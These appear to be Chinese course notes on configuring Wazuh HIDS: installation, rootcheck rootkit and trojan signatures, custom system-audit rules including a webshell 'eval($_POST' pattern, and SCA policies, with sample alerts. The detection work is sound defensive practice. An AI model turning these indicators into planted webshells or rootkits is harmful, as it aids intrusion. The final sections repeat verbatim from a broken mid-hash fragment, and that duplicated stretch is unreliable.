Wazuh与Elastic的整合和配置过程相对是比较麻烦的,所以Wazuh在较新的版本中很好的解决了这一问题,只需要运行一个脚本,就可以完成所有安装和配置,完全的一键安装使用。
curl -sO https://packages.wazuh.com/4.3/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
待上述安装完成后,直接访问 https://Wazuh-IP,(确保防火墙放行443端口),输入用户名:admin 和对应生成的密码即可访问 Elastic的Kibana页面。如图所示:
2、查看密码
直接在当前安装目录中会存在一个文件名为:wazuh-install-files.tar,使用以下命令可查看到保存于该文件中的密码文件:
sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt
如果无法成功执行上述命令,则直接将tar文件下载到Windows环境中打开访问即可。
3、确认服务
[root@centqiang ~]# systemctl list-unit-files | grep wazuh
wazuh-dashboard.service enabled
wazuh-indexer-performance-analyzer.service disabled
wazuh-indexer.service enabled
wazuh-manager.service enabled
4、内存消耗
[root@centqiang ~]# free
total used free shared buff/cache available
Mem: 7990068 5500364 344272 12068 2145432 2171828
Swap: 8257532 0 8257532
一台全新服务器环境,安装完上述套件后,消耗内存5.5G左右。
三、各模块功能介绍
针对Wazuh的所有操作,均可以在Kibana中完成,比如配置Wauzh客户端、管理账户信息、查看安全预警事件、查看系统审计报告、管理规则库和解码库等,也包括更多可视化操作的功能。
⑥Wazuh检测木马与配置
一、RootCheck
就是对Rootkit进行检测,包括各类病毒、木马、恶意程序等。检测的依据主要是:文件名、文件内容。
1、ossec.conf配置
<rootcheck>
<disabled>no</disabled>
<check_files>yes</check_files>
<check_trojans>yes</check_trojans>
<check_dev>yes</check_dev>
<check_sys>yes</check_sys>
<check_pids>yes</check_pids>
<check_ports>yes</check_ports>
<check_if>yes</check_if>
<frequency>30</frequency>
<rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
<rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>
<skip_nfs>yes</skip_nfs>
</rootcheck>
2、检测文件名
在 etc/rootcheck/rootkit_files.txt 中定义恶意文件名,如:
tmp/mcliZokhb ! Bash door ::/rootkits/bashdoor.php
tmp/mclzaKmfa ! Bash door ::/rootkits/bashdoor.php
proc/kset ! Suspicious file ::rootkits/Suspicious.php
usr/bin/gib ! Suspicious file ::rootkits/Suspicious.php
usr/bin/snick ! Suspicious file ::rootkits/Suspicious.php
usr/bin/kfl ! Suspicious file ::rootkits/Suspicious.php
tmp/.dump ! Suspicious file ::rootkits/Suspicious.php
var/.x ! Suspicious file ::rootkits/Suspicious.php
var/.x/psotnic ! Suspicious file ::rootkits/Suspicious.php
测试过程:
在/tmp目录下创建普通文件 mclzaKmfa(使用touch命令或者echo等命令均可)
预警信息:
** Alert 1658344353.3985950: - ossec,rootcheck,gdpr_IV_35.7.d,
2022 Jul 21 03:12:33 centqiang->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'Bash' detected by the presence of file '/tmp/mclzaKmfa'.
title: Rootkit 'Bash' detected by the presence of file '/tmp/mclzaKmfa'.
或创建一个.dump的文件,也是同样的效果。
3、检测文件内容
在 etc/rootcheck/rootkit_trojans.txt 中定义文件内容(二进制文件或文本文件),如:
grep !bash|givemer!
egrep !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!
find !bash|/dev/[^tnlcs]|/prof|/home/virus|file\.h!
/etc/hosts !^[^#]*mcafee\.com! Anti-virus site on the hosts file
/etc/hosts !^[^#]*microsoft\.com! Anti-virus site on the hosts file
/etc/hosts !^[^#]*f-secure\.com! Anti-virus site on the hosts file
在/etc/hosts文件中添加:
192.168.112.123 mcafee.com
得到的预警信息为:
** Alert 1658344791.3990190: - ossec,rootcheck,gdpr_IV_35.7.d,
2022 Jul 21 03:19:51 centqiang->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Trojaned version of file '/etc/hosts' detected. Signature used: '^[^#]*mcafee\.com' (Anti-virus site on the hosts file).
title: Trojaned version of file detected.
file: /etc/hosts
二、System Audit
1、修改配置信息
在 etc/rootcheck 目录下添加一个 system_audit_woniu.txt文件,并引入到主配置文件中
<rootcheck>
……………………………………
<frequency>30</frequency>
<rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
<rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>
<system_audit>etc/rootcheck/system_audit_woniu.txt</system_audit>
<skip_nfs>yes</skip_nfs>
</rootcheck>
2、添加配置规则
在 etc/rootcheck 下新增文件 system_audit_woniu.txt,内容如下:
# 可以定义路径或文件名为变量、也可以不定义直接引用
$php.ini=/opt/lampp/etc/php.ini;
$web_dirs=/opt/lampp/htdocs;
# 规则分为三个部分:
# 第一个部分是解释说明注释(可不写)
# 第二个部分是必须写,有[规则描述] [触发条件] [参考引用]
# 第三个部分是规则本身:方向箭头的左边位置:f:代表文件,d:代表目录,p:代表进程,c:代表命令,r:代表注册表
# 方向箭头的右边位置,可以直接写普通文件,代表模糊匹配,也可以写r:代表正则匹配,也可以使用 && 进行多条件匹配
# 如果是目录,则需要定义一个中间箭头,用于确认查询当前目录下的哪些文件
# PHP Checks
[PHP - 远程文件包含是否开启] [any] []
f:$php.ini -> r:^allow_url_include=Off;
# Web Shell Checks
[PHP - 是否存在一句话木马] [any] []
d:$web_dirs -> .jpg$ -> eval;
d:/opt/lampp/htdocs -> .php$ -> r:eval\(\$_POST;
触发条件解释如下:
all:只有当下面的所有规则均匹配成功时才会预警,不太适用于多条件情况
any:当其中任意一个规则满足时就会预警,较适用于多个配置同时开启的情况,所以配置项应该设置为不安全配置
none:当没有任何一条规则满足时预警(全部不一样,不常用)
3、查看预警信息
** Alert 1658348456.4018920: - ossec,rootcheck,gdpr_IV_30.1.g,
2022 Jul 21 04:20:56 centqiang->rootcheck
Rule: 516 (level 3) -> 'System Audit event.'
System Audit: PHP - 远程文件包含是否开启. File: /opt/lampp/etc/php.ini.
title: PHP - 远程文件包含是否开启.
file: /opt/lampp/etc/php.ini
** Alert 1658348456.4019227: - ossec,rootcheck,gdpr_IV_30.1.g,
2022 Jul 21 04:20:56 centqiang->rootcheck
Rule: 516 (level 3) -> 'System Audit event.'
System Audit: PHP - 是否存在一句话木马. File: /opt/lampp/htdocs/security/temp/mm.php.
title: PHP - 是否存在一句话木马.
file: /opt/lampp/htdocs/security/temp/mm.php
三、SCA
1、添加一个自定义SCA文件
SCA的规则目录在 ruleset/sca 目录下,是yml文件格式
policy:
id: "custom_woniu_sca"
file: "custom_woniu_sca.yml"
name: "System audit for CentOS based systems"
description: "针对当前CentOS的核心配置进行检查"
references:
- https://www.woniuxy.com
checks:
- id: 561501
title: "PHP的核心配置文件"
description: "PHP核心配置文件是否篡改"
condition: none
rules:
- 'f:/opt/lampp/etc/php.ini -> r:allow_url_include=On'
2、添加sca主配置文件
<sca>
<enabled>yes</enabled>
<scan_on_start>no</scan_on_start>
<interval>1m</interval>
<skip_nfs>yes</skip_nfs>
<policies>
<policy>ruleset/sca/custom_woniu_sca.yml</policy>
</policies>
</sca>
3、查看预警信息
** Alert 1658347808.4009220: mail - sca,gdpr_IV_35.7.d,pci_dss_2.2,nist_800_53_CM.1,tsc_CC7.1,tsc_CC7.2,
2022 Jul 21 04:10:08 centqiang->sca
Rule: 19011 (level 9) -> 'System audit for CentOS based systems: PHP的核心配置文件: Status changed from passed to failed'
{"type":"check","id":467125162,"policy":"System audit for CentOS based systems","policy_id":"custom_woniu_sca","check":{"id":561501,"title":"PHP的核心配置文件","description":"PHP核心配置文件是否篡改","rules":["f:/opt/lampp/etc/php.ini -> r:allow_url_include=Off"],"condition":"none","file":"/opt/lampp/etc/php.ini","result":"failed"}}
sca.type: check
sca.scan_id: 467125162
sca.policy: System audit for CentOS based systems
sca.check.id: 561501
sca.check.title: PHP的核心配置文件
sca.check.description: PHP核心配置文件是否篡改
sca.check.file: ["/opt/lampp/etc/php.ini"]
sca.check.result: failed
sca.check.previous_result: passed
需要注意的是,只有配置文件被修改过或配置规则被修改过,导致两次结果不一样,才会触发。否则会导致频繁触发,意义不大。
sca.check.result: failedsca.check.previous_result: passed
4、某个SCA配置文件的整体得分
** Alert 1662024807.4689783: mail - sca,gdpr_IV_35.7.d,pci_dss_2.2,nist_800_53_CM.1,tsc_CC7.1,tsc_CC7.2,
2022 Sep 01 17:33:27 centqiang->sca
Rule: 19005 (level 9) -> 'SCA summary: System audit for CentOS based systems: Score less than 30% (0)'
{"type":"summary","scan_id":2051873390,"name":"System audit for CentOS based systems","policy_id":"custom_woniu_sca","file":"custom_woniu_sca.yml","description":"针对当前CentOS的核心配置进行检查","references":"https://www.woniuxy.com","passed":0,"failed":2,"invalid":0,"total_checks":2,"score":0,"start_time":1662024786,"end_time":1662024786,"hash":"567cbc74f20e5da57d738ca37b892af6bfa3bfeebd877864e526384128bba8e9","hash_file":"b50e32ff91f5499a6fb6bf454b005e5b8447bbb2e90943723bd7834a5de48b71","force_alert":"1","force_alert":"1"}
sca.type: summary
sca.scan_id: 2051873390
sca.policy: System audit for CentOS based systems
sca.description: 针对当前CentOS的核心配置进行检查
sca.policy_id: custom_woniu_sca
sca.passed: 0
sca.failed: 2
sca.invalid: 0
sca.total_checks: 2
sca.score: 0 // 得分为0,代表所有配置项均不正确
sca.file: custom_woniu_sca.yml
⑦各类日志分析工具(详见笔记)
- 360星图日志分析工具
- Log Parser及事件查看器
- 绿盟LAS日志审计系统
- 安恒数据库审计系统
⑧本周内容复习与总结
1、日志检测,文件检测
2、wazuh就一套日志检测加主动响应系统。 HIDS,主机入侵检测系统
3、wazuh的架构:server端,agent端,它们之间通过remote进行通信。server端的核心部分就是解码器、规则匹配机制,产生预警的日志或数据,这些数据可以被ES读取并且分析
4、wazuh常见模块:日志检测、文件完整性监测、系统审计、漏洞审计、docker监测
5、如何使用这些功能
核心步骤:
- 主配置文件ossec.conf的配置, 关注各种需要使用的模块的状态是禁用还是启用
- 是否具有对应的解码器,如果没有,则可以自定义相应的解码器
- 解码器的作用:对日志进行分类,因为日志种类和格式不一样
- 解码器常用的语法
- 自定义解码器的写法
- 是否具有对应的匹配规则,如果没有,则可以自定义相应的匹配规则
- 规则的作用:具体去匹配日志内容中的指定的正则表达式的内容
- 规则的常用语法
- 自定义规则的写法
- 规则测试: wazuh_logtest用法
6、agent和server
- 如何部署agent, 不同的操作系统部署方式
- agent注册到服务器的方法
- 服务器需要添加agent
- 服务器为添加的agent生成key
- agent需要导入第二步的key
- agent需要重启
- 监测agent所在的设备的配置方式
- 主配置文件ossec.conf在agent上面
- 解码器和规则在server端
7、界面整合
- 了解如何部署,基本使用
8、学习wazuh的意义
- 一般来说,wazuh不会直接被应用到企业的安全管理中
- 企业级的日志监测或HIDS都是参照wazuh的逻辑实现的
864e526384128bba8e9",“hash_file”:“b50e32ff91f5499a6fb6bf454b005e5b8447bbb2e90943723bd7834a5de48b71”,“force_alert”:“1”,“force_alert”:“1”}
sca.type: summary
sca.scan_id: 2051873390
sca.policy: System audit for CentOS based systems
sca.description: 针对当前CentOS的核心配置进行检查
sca.policy_id: custom_woniu_sca
sca.passed: 0
sca.failed: 2
sca.invalid: 0
sca.total_checks: 2
sca.score: 0 // 得分为0,代表所有配置项均不正确
sca.file: custom_woniu_sca.yml
## ⑦**各类日志分析工具**(详见笔记)
1. 360星图日志分析工具
2. Log Parser及事件查看器
3. 绿盟LAS日志审计系统
4. 安恒数据库审计系统
## ⑧本周内容复习与总结
1、日志检测,文件检测
2、wazuh就一套日志检测加主动响应系统。 HIDS,主机入侵检测系统
3、wazuh的架构:server端,agent端,它们之间通过remote进行通信。server端的核心部分就是解码器、规则匹配机制,产生预警的日志或数据,这些数据可以被ES读取并且分析
4、wazuh常见模块:日志检测、文件完整性监测、系统审计、漏洞审计、docker监测
5、如何使用这些功能
核心步骤:
1. 主配置文件ossec.conf的配置, 关注各种需要使用的模块的状态是禁用还是启用
2. 是否具有对应的解码器,如果没有,则可以自定义相应的解码器
- 解码器的作用:对日志进行分类,因为日志种类和格式不一样
- 解码器常用的语法
- 自定义解码器的写法
3. 是否具有对应的匹配规则,如果没有,则可以自定义相应的匹配规则
- 规则的作用:具体去匹配日志内容中的指定的正则表达式的内容
- 规则的常用语法
- 自定义规则的写法
4. 规则测试: wazuh_logtest用法
6、agent和server
1. 如何部署agent, 不同的操作系统部署方式
2. agent注册到服务器的方法
1. 服务器需要添加agent
2. 服务器为添加的agent生成key
3. agent需要导入第二步的key
4. agent需要重启
3. 监测agent所在的设备的配置方式
1. 主配置文件ossec.conf在agent上面
2. 解码器和规则在server端
7、界面整合
- 了解如何部署,基本使用
8、学习wazuh的意义
- 一般来说,wazuh不会直接被应用到企业的安全管理中
- 企业级的日志监测或HIDS都是参照wazuh的逻辑实现的
- 熟悉wazuh的工作机制和配置方式,那么可以无缝切换到其他同类的设备的配置中,可以大幅度降低学习和使用设备的难度